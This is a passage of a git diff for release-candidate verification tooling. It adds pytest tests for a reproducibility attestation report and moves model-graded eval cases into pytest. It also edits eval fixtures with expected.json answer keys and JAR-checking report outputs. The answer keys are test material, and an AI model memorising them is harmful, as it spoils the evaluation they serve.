verdict_json, **args) + + +def test_attestation_only_with_signing_identical_and_trusted_hardware() -> None: + v = vrc(signing_mode="ci-automated") + out = run_report(v) + assert out["reproducibility_attestation"] is True + assert "**Reproducibility validated on trusted hardware**" in out["post_to_comment"] + assert f"commit `{COMMIT}`" in out["post_to_comment"] and "@jdoe" in out["post_to_comment"] + + +@pytest.mark.parametrize( + ("kw", "why"), + [ + ({"trusted_hardware": False}, "--trusted-hardware"), + ({"repro": step9("WARN", "content-identical")}, "WARN"), + ({"repro": step9("FAIL", "identical", ["foo.whl"])}, "FAIL"), + ], +) +def test_no_attestation_says_why(kw: dict[str, Any], why: str) -> None: + out = run_report(vrc(signing_mode="ci-automated"), **kw) + assert out["reproducibility_attestation"] is False + assert "Reproducibility validated on trusted hardware" not in out["post_to_comment"] + assert "No trusted-hardware attestation" in out["post_to_comment"] and why in out["post_to_comment"] + + +def test_attestation_fails_closed_on_an_artefact_never_shown_identical() -> None: + """A convenience artefact that was skipped or never rebuilt carries no evidence: + nothing failed, but the attestation must still be withheld.""" + wheel = {"name": "foo-1.0.0.whl", "build_command": "make wheel", "reproducibility": "byte-identical"} + v = vrc(signing_mode="ci-automated", convenience=[wheel]) + out = run_report(v) # step9(): differs empty, identical empty + assert out["reproducibility_attestation"] is False + assert ( + "foo-1.0.0.whl" in out["post_to_comment"] + and "Reproducibility validated on trusted hardware" not in out["post_to_comment"] + ) + shown = step9() + shown["binaries"]["identical"] = ["foo-1.0.0.whl"] + assert run_report(v, repro=shown)["reproducibility_attestation"] is True + + +def test_rm_key_mode_never_attests() -> None: + out = run_report(vrc()) + assert out["reproducibility_attestation"] is False + assert "trusted hardware" not in out["post_to_comment"] + + +def test_reminder_in_every_report_and_no_comment_without_post_to() -> None: + for overall in ("PASS", "PASS-WITH-WARNINGS", "FAIL"): + out = run_report(vrc(), post_to=None, verdict_json=verdict(overall)) + assert out["overall"] == overall and out["voter_obligation_reminder"] is True + assert VOTER_OBLIGATION_REMINDER in out["text"] + assert out["post_to_comment"] is None and out["reproducibility_attestation"] is False + + +def test_unresolved_verdict_is_refused() -> None: + with pytest.raises(VerifyError): + run_report(vrc(), verdict_json=verdict() | {"overall": None, "unresolved": ["notice-license"]}) + + +SKILL_DIR = Path(__file__).resolve().parents[3] / "plugins" / "magpie-release-management" / "skills" + + +def test_reminder_literal_matches_the_skill() -> None: + """Golden rule 4's reminder is the same text in the skill and in code.""" + text = (SKILL_DIR / "verify-rc" / "SKILL.md").read_text(encoding="utf-8") + for line in VOTER_OBLIGATION_REMINDER.splitlines(): + assert line in text + + +def test_attestation_title_is_what_release_promote_reads() -> None: + assert report.ATTESTATION_TITLE in (SKILL_DIR / "promote" / "SKILL.md").read_text(encoding="utf-8") + + +# --------------------------------------------------------------------------- CLI + + +def test_cli_nexus_from_files(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + load = tmp_path / "load.json" + load.write_text(json.dumps(loaded(nexus_staging_repo="orgapachefoo-1024")), encoding="utf-8") + inventory = tmp_path / "inv.json" + inventory.write_text( + json.dumps({"step": "inventory", "found": [], "unexpected": JVM_NAMES}), encoding="utf-8" + ) + crawl = tmp_path / "crawl.txt" + crawl.write_text(crawl_text("1.0.0"), encoding="utf-8") + rc = main( + [ + "verify-rc", + "nexus", + "--load", + str(load), + "--inventory", + str(inventory), + "--existence-code", + "200", + "--crawl", + str(crawl), + ] + ) + out = json.loads(capsys.readouterr().out) + assert rc == 0 and out["status"] == "WARN" + + +def test_cli_bad_input_exits_2(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + load = tmp_path / "load.json" + load.write_text(json.dumps({"metadata": {}}), encoding="utf-8") + assert main(["verify-rc", "args", "--load", str(load)]) == 2 + assert json.loads(capsys.readouterr().out)["ok"] is False diff --git a/tools/release-verify/README.md b/tools/release-verify/README.md index 56c184a9e..ea324cee9 100644 --- a/tools/release-verify/README.md +++ b/tools/release-verify/README.md @@ -85,7 +85,7 @@ Rules the subcommands apply: ## Wiring -- `release-verify-rc` Steps 1–3 and 5–8 run the matching subcommand, and Step 10 runs `verdict` (or the skill runs `all` once). Step 4 (Apache RAT) is build-system specific and Step 9 uses [`reproducible-archive`](../reproducible-archive/README.md); both report their status into `verdict` with `--status`. +- `release-verify-rc` Steps 1–3 and 5–8 run the matching subcommand, and Step 10 runs `verdict` (or the skill runs `all` once). Step 4 (Apache RAT) is build-system specific and Step 9 uses [`reproducible-archive`](../reproducible-archive/README.md); both report their status into `verdict` with `--status`. [`release-management verify-rc args`](../release-management/README.md#verify-rc) writes every invocation from `release-build.md`, and `verify-rc source-tree` resolves a Step 7 `REVIEW`. - The workspace pre-commit hooks (`ruff`, `mypy`, `pytest`) pick the project up from the root `pyproject.toml` `[tool.uv.workspace] members` list. ## Tests diff --git a/tools/release-verify/src/release_verify/__init__.py b/tools/release-verify/src/release_verify/__init__.py index a6491a3fd..f1fc42b8e 100644 --- a/tools/release-verify/src/release_verify/__init__.py +++ b/tools/release-verify/src/release_verify/__init__.py @@ -81,7 +81,7 @@ "notice-license", "binary-exclusion", "jvm-artefacts", # Step 6b, produced by maven-artifact-verify - "nexus-staging", # Step 6c, classified by the agent from the asf-nexus probe + "nexus-staging", # Step 6c, classified by `release-management verify-rc nexus` from the asf-nexus probe "source-tree-integrity", "version-consistency", "reproducibility", diff --git a/tools/skill-evals/README.md b/tools/skill-evals/README.md index e7632834d..140d5b0ae 100644 --- a/tools/skill-evals/README.md +++ b/tools/skill-evals/README.md @@ -76,7 +76,7 @@ Suites are currently implemented for: - **release-prepare** — 15 cases across 4 suites (step-0-preflight, step-1-plan, step-14-post, step-2-prep) - **release-promote** — 9 cases across 2 suites (step-0-preflight, step-2-emit-commands) - **release-rc-cut** — 7 cases across 2 suites (step-0-preflight, step-3-staging); Steps 2, 2b and 3 are rendered and pytest-tested in `tools/release-management` -- **release-verify-rc** — 33 cases across 9 suites (step-0-preflight, step-2-verify-signatures, step-3-verify-checksums, step-5-notice-license, step-6-binary-exclusion, step-6b-jvm-artefacts, step-6c-nexus-staging, step-8-version-consistency, step-9-reproducibility) +- **release-verify-rc** — 17 cases across 8 suites (step-0-preflight, step-2-verify-signatures, step-3-verify-checksums, step-5-notice-license, step-6-binary-exclusion, step-6b-jvm-artefacts, step-6c-nexus-staging, step-8-version-consistency); the scripted Step 6b, 6c and 9 cases are pytest cases in `tools/release-management/tests/test_verify_rc.py` - **release-vote-draft** — 9 cases across 3 suites (step-0-preflight, step-2-vote-draft, step-3-planning-comment) - **release-vote-tally** — 9 cases across 3 suites (step-0-preflight, step-2-classify, step-3-tally) - **reviewer-routing** — 1 case across 1 suite (step-score-and-propose); pre-flight and scoring are pytest-tested in `tools/pr-management` diff --git a/tools/skill-evals/evals/release-verify-rc/README.md b/tools/skill-evals/evals/release-verify-rc/README.md index 31b75cfa5..db120d5ef 100644 --- a/tools/skill-evals/evals/release-verify-rc/README.md +++ b/tools/skill-evals/evals/release-verify-rc/README.md @@ -15,12 +15,39 @@ Behavioural eval suite for the | `step-3-verify-checksums` | Step 3 — Verify checksums | 2 | Checksum classification (PASS/MISMATCH/MISSING-DIGEST), deprecated md5 detection | | `step-5-notice-license` | Step 5 — NOTICE/LICENSE presence | 2 | File presence (PASS/WARN/FAIL), diff-lines count, diff summary | | `step-6-binary-exclusion` | Step 6 — Binary exclusion check | 2 | Prohibited-binary detection (PASS/FAIL), expected-binary classification | -| `step-6b-jvm-artefacts` | Step 6b — JVM artefact checks | 6 | Tool-report classification (PASS/WARN/FAIL), POM licence/`INHERITED-UNVERIFIED` handling, companion signature detection, `ABSENT` jar vs `jvm_companion_location`, informational observations (timestamp signal, package/groupId correspondence, companion content) that never change the verdict | -| `step-6c-nexus-staging` | Step 6c — Nexus staging repository | 9 | Probe classification (PASS/WARN/FAIL/SKIP), `open` vs not-reachable vs snapshots vs coordinates/version mismatch, anonymous-path `STATE-UNVERIFIED`, missing `.asc`, stale sibling repositories, non-JVM skip, malformed-id skip | +| `step-6b-jvm-artefacts` | Step 6b — JVM artefact checks | 3 | Reading `verify-rc jvm`'s classification: the POM-licence and missing-companion-signature finding wording, and observations (a groupId outside `org.apache.*`, a consistent timestamp signal) that never change the verdict | +| `step-6c-nexus-staging` | Step 6c — Nexus staging repository | 1 | The anonymous voter path: `STATE-UNVERIFIED` on a `401` stays a warning while a missing companion `.asc` fails, and the recipe carries no credentialed or write call | | `step-8-version-consistency` | Step 8 — Version string consistency | 2 | Exact version match across manifest files (PASS/FAIL) | -| `step-9-reproducibility` | Step 9 — Reproducibility checks | 5 | `repro-archive compare` verdict → status (`identical` PASS, `differs` FAIL, `content-identical` WARN in RM-key mode / FAIL under automated signing), `mandatory` under `automated_release_signing: enabled` with `--skip-repro` ignored, `trusted_hardware_asserted` mirrors the flag, a project-specific convenience artefact whose rebuild differs (source identical, artefact `FAIL`, named in `binaries.differs`) | -Total: **33 cases** across 9 step suites. +Total: **17 cases** across 8 step suites. + +## Where the scripted cases went + +Step 6b's gate, `--podling` and digest choice, `ABSENT` handling and findings filtering, +Step 6c's gates, staging-repository id check and probe classification, +and the whole of Step 9's roll-up are code in +[`release-management verify-rc`](../../../release-management/README.md#verify-rc). +The model-graded cases that tested that logic are pytest cases in +[`tools/release-management/tests/test_verify_rc.py`](../../../release-management/tests/test_verify_rc.py), +named after each former case with the same scenario and assertions: + +| Former case | pytest | +|---|---| +| `step-6b-jvm-artefacts/case-1-clean-podling-staged-set` | `test_case_1_clean_podling_staged_set` | +| `step-6b-jvm-artefacts/case-4-jar-absent-nexus-only` | `test_case_4_jar_absent_nexus_only` | +| `step-6b-jvm-artefacts/case-5-observations-never-fail` | `test_case_5_observations_never_fail` | +| `step-6c-nexus-staging/case-1-closed-repo-complete-set` | `test_case_1_closed_repo_complete_set` | +| `step-6c-nexus-staging/case-2-open-repo` | `test_case_2_open_repo` | +| `step-6c-nexus-staging/case-4-stale-sibling-repos` | `test_case_4_stale_sibling_repos` | +| `step-6c-nexus-staging/case-5-not-reachable-404` | `test_case_5_not_reachable_404` | +| `step-6c-nexus-staging/case-6-snapshots-repo-targeted` | `test_case_6_snapshots_repo_targeted` | +| `step-6c-nexus-staging/case-7-version-mismatch` | `test_case_7_version_mismatch` | +| `step-6c-nexus-staging/case-8-non-jvm-skip` | `test_case_8_non_jvm_skip` | +| `step-6c-nexus-staging/case-9-malformed-id-skip` | `test_case_9_malformed_id_skip` | +| `step-9-reproducibility/case-1-identical-pass` … `case-5-convenience-artefact-differs` | `test_case_1_identical_pass` … `test_case_5_convenience_artefact_differs` | + +The same file covers the Step 4 RAT classification, Step 7's `REVIEW` resolution and the Step 10 attestation decision, which never had model evals. +The kept Step 6b and 6c cases carry the command's real output in `report.md`, as a run would show it. ## Run @@ -37,13 +64,14 @@ uv run --project tools/skill-evals skill-eval --cli tools/skill-evals/evals/rele ## Grading methodology -Steps 0, 2, 3, 5, 6, 8 and 9 all emit structured JSON. +Steps 0, 2, 3, 5, 6, 6b, 6c and 8 all emit structured JSON. In Steps 2, 3, 5, 6 and 8 each case feeds the [`release-verify`](../../../release-verify/README.md) tool's JSON for the scenario (produced by running the tool on equivalent fixture data); the classification logic itself is covered by that tool's pytest suite, so these cases grade how the model reads and reports the tool output, and -the judgement the tool leaves to it (Step 5's `REVIEW`). Cases use +the judgement the tool leaves to it (Step 5's `REVIEW`). Steps 6b and 6c +feed `release-management verify-rc jvm` / `nexus` output the same way. Cases use `expected.json` for exact-field grading and `output-spec.md` to document the allowed schema. @@ -97,13 +125,3 @@ which are graded semantically. a non-JVM (or gate-failing) RC is an explicit `"SKIP"`. - **Step 8**: `status` must be `"FAIL"` for any `match: false` or `extracted: null`; dev/snapshot suffixes are always `match: false`. -- **Step 9**: `differs` and `tag-moved` are always `"FAIL"`; - `content-identical` is `"WARN"` in RM-key mode and `"FAIL"` when the - report says `automated_release_signing: enabled`; `mandatory` is - `true` only in that mode and `--skip-repro` is then ignored; - `trusted_hardware_asserted` is `true` only when the report says the - committer passed `--trusted-hardware` (case-4), never inferred. A - convenience artefact that does not reproduce (case-5) is `"FAIL"` - and is named in `binaries.differs` even when the source is - `identical` — reproducibility is the check that decides whether a - binary is good, and `release-promote` reads that list. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/expected.json deleted file mode 100644 index 4c0ec8d37..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/expected.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "step": "jvm-artefacts", - "status": "PASS", - "pom_findings": [], - "companion_findings": [], - "has_tool_invocation": true, - "has_sha512_digests": true, - "has_podling_flag": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/report.md deleted file mode 100644 index 6d2d06ca9..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-1-clean-podling-staged-set/report.md +++ /dev/null @@ -1,39 +0,0 @@ - - -release-build.md § Digest set: sha512. § JVM artefact checks: -`jvm_companion_location: staged`. - -The unpacked source artefact ships a `DISCLAIMER` file at its root — -the podling signal — so `--podling` is passed. - -maven-artifact-verify JSON report (verbatim): - -```json -{ - "tool": "maven-artifact-verify", - "status": "PASS", - "artefact_dir": "dist/dev/foo/1.0.0-rc1", - "podling": true, - "digests": ["sha512"], - "poms": [ - { - "pom": "foo-core-1.0.0.pom", - "packaging": "jar", - "check1": {"licenses": "PASS", "developers": "PASS", "scm": "PASS"}, - "check2": {"disclaimer": "PASS", "disclaimer_detail": null} - } - ], - "jars": [ - {"jar": "foo-core-1.0.0.jar", "companions": [ - {"companion": "foo-core-1.0.0-sources.jar", "classification": "PASS", "detail": null}, - {"companion": "foo-core-1.0.0-javadoc.jar", "classification": "PASS", "detail": null} - ]} - ], - "unmatched_jars": ["foo-core-1.0.0-tests.jar"], - "findings": [] -} -``` - -The `-tests` jar is a classified jar: neither a main nor a companion, -reported as an observation only. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-2-wrong-pom-licence/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-2-wrong-pom-licence/report.md index 31eb66c5a..b98646a4c 100644 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-2-wrong-pom-licence/report.md +++ b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-2-wrong-pom-licence/report.md @@ -41,3 +41,20 @@ maven-artifact-verify JSON report (verbatim): The POM declares an MIT licence. ASF Incubator distribution policy § Maven distribution requires the ALv2 licence in the POM — a hard FAIL; the RM must fix the POM and re-cut. + +`release-management verify-rc jvm --inventory --staged-dir dist/dev/foo/1.0.0-rc1 --tree --report ` +printed: + +```json +{ + "step": "jvm-artefacts", + "status": "FAIL", + "tool_report": "{\n \"tool\": \"maven-artifact-verify\",\n \"status\": \"FAIL\",\n \"artefact_dir\": \"dist/dev/foo/1.0.0-rc1\",\n \"podling\": true,\n \"digests\": [\"sha512\"],\n \"poms\": [\n {\n \"pom\": \"foo-core-1.0.0.pom\",\n \"packaging\": \"jar\",\n \"check1\": {\n \"licenses\": \"FAIL\",\n \"licenses_detail\": \"licences declared but none is ALv2 (expected name matching 'Apache License, Version 2.0' or url containing apache.org/licenses/LICENSE-2.0)\",\n \"developers\": \"PASS\",\n \"scm\": \"PASS\"\n },\n \"check2\": {\"disclaimer\": \"PASS\", \"disclaimer_detail\": null}\n }\n ],\n \"jars\": [\n {\"jar\": \"foo-core-1.0.0.jar\", \"companions\": [\n {\"companion\": \"foo-core-1.0.0-sources.jar\", \"classification\": \"PASS\", \"detail\": null},\n {\"companion\": \"foo-core-1.0.0-javadoc.jar\", \"classification\": \"PASS\", \"detail\": null}\n ]}\n ],\n \"unmatched_jars\": [],\n \"findings\": []\n}", + "pom_findings": [ + "foo-core-1.0.0.pom: licences declared but none is ALv2 (expected name matching 'Apache License, Version 2.0' or url containing apache.org/licenses/LICENSE-2.0)" + ], + "companion_findings": [], + "observations": [], + "paste_recipe": "uv run --project /tools/maven-artifact-verify \\\n maven-artifact-verify \"dist/dev/foo/1.0.0-rc1\" --digests sha512 --podling\n# without uv:\n# python3 /tools/maven-artifact-verify/src/maven_artifact_verify/__init__.py ...\n\n# Companion signatures (same KEYS flow as Step 2):\ngpg --verify \"foo-core-1.0.0-sources.jar.asc\" \"foo-core-1.0.0-sources.jar\"\ngpg --verify \"foo-core-1.0.0-javadoc.jar.asc\" \"foo-core-1.0.0-javadoc.jar\"" +} +``` diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-3-missing-companion-signature/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-3-missing-companion-signature/report.md index 15a080c2e..eaee1c6fd 100644 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-3-missing-companion-signature/report.md +++ b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-3-missing-companion-signature/report.md @@ -35,3 +35,20 @@ maven-artifact-verify JSON report (verbatim): Maven Central requires each companion jar to carry its own `.asc` signature; a staged companion without one is a hard FAIL. The RM re-signs and re-stages. + +`release-management verify-rc jvm --inventory --staged-dir dist/dev/foo/1.0.0-rc1 --tree --report ` +printed: + +```json +{ + "step": "jvm-artefacts", + "status": "FAIL", + "tool_report": "{\n \"tool\": \"maven-artifact-verify\",\n \"status\": \"FAIL\",\n \"artefact_dir\": \"dist/dev/foo/1.0.0-rc1\",\n \"podling\": false,\n \"digests\": [\"sha512\"],\n \"poms\": [\n {\n \"pom\": \"foo-core-1.0.0.pom\",\n \"packaging\": \"jar\",\n \"check1\": {\"licenses\": \"PASS\", \"developers\": \"PASS\", \"scm\": \"PASS\"}\n }\n ],\n \"jars\": [\n {\"jar\": \"foo-core-1.0.0.jar\", \"companions\": [\n {\"companion\": \"foo-core-1.0.0-sources.jar\", \"classification\": \"FAIL\", \"detail\": \"missing .asc signature file (foo-core-1.0.0-sources.jar.asc)\"},\n {\"companion\": \"foo-core-1.0.0-javadoc.jar\", \"classification\": \"PASS\", \"detail\": null}\n ]}\n ],\n \"unmatched_jars\": [],\n \"findings\": []\n}", + "pom_findings": [], + "companion_findings": [ + "foo-core-1.0.0-sources.jar: missing .asc signature file (foo-core-1.0.0-sources.jar.asc)" + ], + "observations": [], + "paste_recipe": "uv run --project /tools/maven-artifact-verify \\\n maven-artifact-verify \"dist/dev/foo/1.0.0-rc1\" --digests sha512\n# without uv:\n# python3 /tools/maven-artifact-verify/src/maven_artifact_verify/__init__.py ...\n\n# Companion signatures (same KEYS flow as Step 2):\ngpg --verify \"foo-core-1.0.0-javadoc.jar.asc\" \"foo-core-1.0.0-javadoc.jar\"" +} +``` diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/expected.json deleted file mode 100644 index c39f7fd26..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/expected.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "step": "jvm-artefacts", - "status": "WARN", - "pom_findings": [ - "foo-core-1.0.0.pom: check1 developers INHERITED-UNVERIFIED — element absent and the parent chain is not fully staged locally; verify against the effective POM" - ], - "companion_findings": [ - "foo-core-1.0.0.jar is declared by a staged POM but not staged locally (ABSENT); jvm_companion_location: nexus-staging — an observation, not a failure" - ], - "has_tool_invocation": true, - "has_sha512_digests": true, - "has_podling_flag": false -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/report.md deleted file mode 100644 index 3bc10fd57..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-4-jar-absent-nexus-only/report.md +++ /dev/null @@ -1,49 +0,0 @@ - - -release-build.md § Digest set: sha512. § JVM artefact checks: -`jvm_companion_location: nexus-staging` — the jars publish through the -Nexus staging repository; only the POM is staged in dist/dev. No -`DISCLAIMER` in the source artefact, so no `--podling`. - -maven-artifact-verify JSON report (verbatim): - -```json -{ - "tool": "maven-artifact-verify", - "status": "WARN", - "artefact_dir": "dist/dev/foo/1.0.0-rc1", - "podling": false, - "digests": ["sha512"], - "poms": [ - { - "pom": "foo-core-1.0.0.pom", - "packaging": "jar", - "check1": { - "licenses": "PASS", - "developers": "INHERITED-UNVERIFIED", - "developers_detail": "element absent and the parent chain is not fully staged locally; verify against the effective POM", - "scm": "PASS" - } - } - ], - "jars": [ - {"jar": "foo-core-1.0.0.jar", "companions": [ - {"companion": "foo-core-1.0.0.jar", "classification": "ABSENT", "detail": "main jar not staged locally; companion checks skipped (verify via the Nexus staging repository when it is the vote target)"} - ]} - ], - "unmatched_jars": [], - "findings": ["foo-core-1.0.0.jar is declared by a staged POM but not staged locally"] -} -``` - -Two things to classify here: - -- `` is inherited from `org.apache:apache`, which is not - staged in dist/dev — `INHERITED-UNVERIFIED` is a WARN naming what to - verify (`mvn help:effective-pom`), never a FAIL: a correct POM that - inherits from the ASF parent must not be failed. -- The main jar is `ABSENT` locally, but `release-build.md` declares - `jvm_companion_location: nexus-staging`, so the absence is the - expected shape: an observation, not a FAIL. Under - `jvm_companion_location: staged` the same report would be FAIL. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/expected.json deleted file mode 100644 index 3d85716b4..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/expected.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "step": "jvm-artefacts", - "status": "PASS", - "pom_findings": [], - "companion_findings": [], - "observations": [ - "foo-core-1.0.0.jar: entry timestamps vary (4 distinct across 118 entries) - not consistent with a reproducible configuration (project.build.outputTimestamp likely unset); observation does not claim the jar is unreproducible", - "foo-core-1.0.0.jar: groupId org.apache.foo is under org.apache.*; 45/47 class entries under the derived package path org/apache/foo; roots: com/example/relocated, org/apache/foo", - "foo-core-1.0.0-sources.jar: contains 3 .class entries (compiled code in the sources companion) - observation only, never a failure", - "foo-core-1.0.0-javadoc.jar: placeholder (empty or MANIFEST-only) - a Maven-Central-sanctioned pattern, not a defect" - ], - "has_tool_invocation": true, - "has_sha512_digests": true, - "has_podling_flag": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/report.md deleted file mode 100644 index bf791c14b..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-5-observations-never-fail/report.md +++ /dev/null @@ -1,64 +0,0 @@ - - -release-build.md § Digest set: sha512. § JVM artefact checks: -`jvm_companion_location: nexus-staging`. The RC is a podling (a -`DISCLAIMER` file ships at the source artefact root). - -maven-artifact-verify JSON report (verbatim): - -```json -{ - "tool": "maven-artifact-verify", - "status": "PASS", - "artefact_dir": "dist/dev/foo/1.0.0-rc1", - "podling": true, - "digests": ["sha512"], - "poms": [ - { - "pom": "foo-core-1.0.0.pom", - "packaging": "jar", - "check1": {"licenses": "PASS", "developers": "PASS", "scm": "PASS"}, - "check2": {"disclaimer": "PASS", "disclaimer_detail": null} - } - ], - "jars": [ - {"jar": "foo-core-1.0.0.jar", "companions": [ - {"companion": "foo-core-1.0.0-sources.jar", "classification": "PASS", "detail": null}, - {"companion": "foo-core-1.0.0-javadoc.jar", "classification": "PASS", "detail": null} - ]} - ], - "unmatched_jars": [], - "findings": [], - "observations": { - "timestamp_signal": [ - {"jar": "foo-core-1.0.0.jar", "signal": "inconsistent", "entries": 118, "distinct_timestamps": 4, - "detail": "entry timestamps vary - not consistent with a reproducible configuration (project.build.outputTimestamp likely unset); this observation does not claim the jar is unreproducible"} - ], - "namespace_signal": [ - {"jar": "foo-core-1.0.0.jar", "group_id": "org.apache.foo", "under_org_apache": true, - "class_entries": 47, "matching_entries": 45, - "package_roots": ["com/example/relocated", "org/apache/foo"], - "detail": "45/47 class entries under the package path 'org/apache/foo' derived from groupId 'org.apache.foo'; package roots (first three segments): com/example/relocated, org/apache/foo"} - ], - "companion_content": [ - {"jar": "foo-core-1.0.0-sources.jar", "kind": "sources", "signal": "contains-class-files", - "detail": "3 .class entries inside a -sources.jar (compiled code in the sources companion); observation only, never a failure"}, - {"jar": "foo-core-1.0.0-javadoc.jar", "kind": "javadoc", "signal": "placeholder", - "detail": "empty or MANIFEST-only jar - placeholder companions are a Maven-Central-sanctioned pattern; observation only (content is not structure-asserted: dokka/scaladoc output is equally valid)"} - ] - } -} -``` - -Three things to classify here: - -- Every blocking check passes: the POM set is clean, both companions - are staged with `.asc` and checksums. The status is the tool's - status. -- The observations — varying entry timestamps, two relocated class - roots, `.class` files inside the sources companion, a placeholder - javadoc companion — are signals for the reviewer. None of them may - change the verdict: the placeholder is Maven-Central-sanctioned, - and the observations never assert reproducibility either way. -- The podling signal is present, so `--podling` stays in the recipe. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-6-namespace-outside-org-apache/report.md b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-6-namespace-outside-org-apache/report.md index 645677862..80e1a7b2c 100644 --- a/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-6-namespace-outside-org-apache/report.md +++ b/tools/skill-evals/evals/release-verify-rc/step-6b-jvm-artefacts/fixtures/case-6-namespace-outside-org-apache/report.md @@ -63,3 +63,23 @@ Two things to classify here: reproducible configuration" — it must never be reworded into a claim that the jar is reproducible; only Step 9's rebuild can assert that. + +`release-management verify-rc jvm --inventory --staged-dir dist/dev/foo/2.1.0-rc1 --tree --report ` +printed: + +```json +{ + "step": "jvm-artefacts", + "status": "PASS", + "tool_report": "{\n \"tool\": \"maven-artifact-verify\",\n \"status\": \"PASS\",\n \"artefact_dir\": \"dist/dev/foo/2.1.0-rc1\",\n \"podling\": false,\n \"digests\": [\"sha512\"],\n \"poms\": [\n {\n \"pom\": \"foo-core-2.1.0.pom\",\n \"packaging\": \"jar\",\n \"check1\": {\"licenses\": \"PASS\", \"developers\": \"PASS\", \"scm\": \"PASS\"}\n }\n ],\n \"jars\": [\n {\"jar\": \"foo-core-2.1.0.jar\", \"companions\": [\n {\"companion\": \"foo-core-2.1.0-sources.jar\", \"classification\": \"PASS\", \"detail\": null},\n {\"companion\": \"foo-core-2.1.0-javadoc.jar\", \"classification\": \"PASS\", \"detail\": null}\n ]}\n ],\n \"unmatched_jars\": [],\n \"findings\": [],\n \"observations\": {\n \"timestamp_signal\": [\n {\"jar\": \"foo-core-2.1.0.jar\", \"signal\": \"consistent\", \"entries\": 204, \"distinct_timestamps\": 1,\n \"detail\": \"every file entry shares one timestamp - consistent with a reproducible configuration (project.build.outputTimestamp set); this observation does not claim the jar is reproducible\"}\n ],\n \"namespace_signal\": [\n {\"jar\": \"foo-core-2.1.0.jar\", \"group_id\": \"com.github.foo\", \"under_org_apache\": false,\n \"class_entries\": 24, \"matching_entries\": 24,\n \"package_roots\": [\"com/github/foo\"],\n \"detail\": \"24/24 class entries under the package path 'com/github/foo' derived from groupId 'com.github.foo'; package roots (first three segments): com/github/foo\"}\n ],\n \"companion_content\": [\n {\"jar\": \"foo-core-2.1.0-sources.jar\", \"kind\": \"sources\", \"signal\": \"sources-present\",\n \"detail\": \"31 .java/.scala/.kt source entries; no .class entries\"},\n {\"jar\": \"foo-core-2.1.0-javadoc.jar\", \"kind\": \"javadoc\", \"signal\": \"content-present\",\n \"detail\": \"58 non-META-INF entries; documentation layout is not judged\"}\n ]\n }\n}", + "pom_findings": [], + "companion_findings": [], + "observations": [ + "foo-core-2.1.0.jar: consistent (1 distinct across 204 entries) - every file entry shares one timestamp - consistent with a reproducible configuration (project.build.outputTimestamp set); this observation does not claim the jar is reproducible", + "foo-core-2.1.0.jar: groupId com.github.foo is NOT under org.apache.* (informational even for ASF projects - published coordinates cannot be renamed retroactively); 24/24 class entries under the package path 'com/github/foo' derived from groupId 'com.github.foo'; package roots (first three segments): com/github/foo", + "foo-core-2.1.0-sources.jar: sources-present - 31 .java/.scala/.kt source entries; no .class entries", + "foo-core-2.1.0-javadoc.jar: content-present - 58 non-META-INF entries; documentation layout is not judged" + ], + "paste_recipe": "uv run --project /tools/maven-artifact-verify \\\n maven-artifact-verify \"dist/dev/foo/2.1.0-rc1\" --digests sha512\n# without uv:\n# python3 /tools/maven-artifact-verify/src/maven_artifact_verify/__init__.py ...\n\n# Companion signatures (same KEYS flow as Step 2):\ngpg --verify \"foo-core-2.1.0-sources.jar.asc\" \"foo-core-2.1.0-sources.jar\"\ngpg --verify \"foo-core-2.1.0-javadoc.jar.asc\" \"foo-core-2.1.0-javadoc.jar\"" +} +``` diff --git 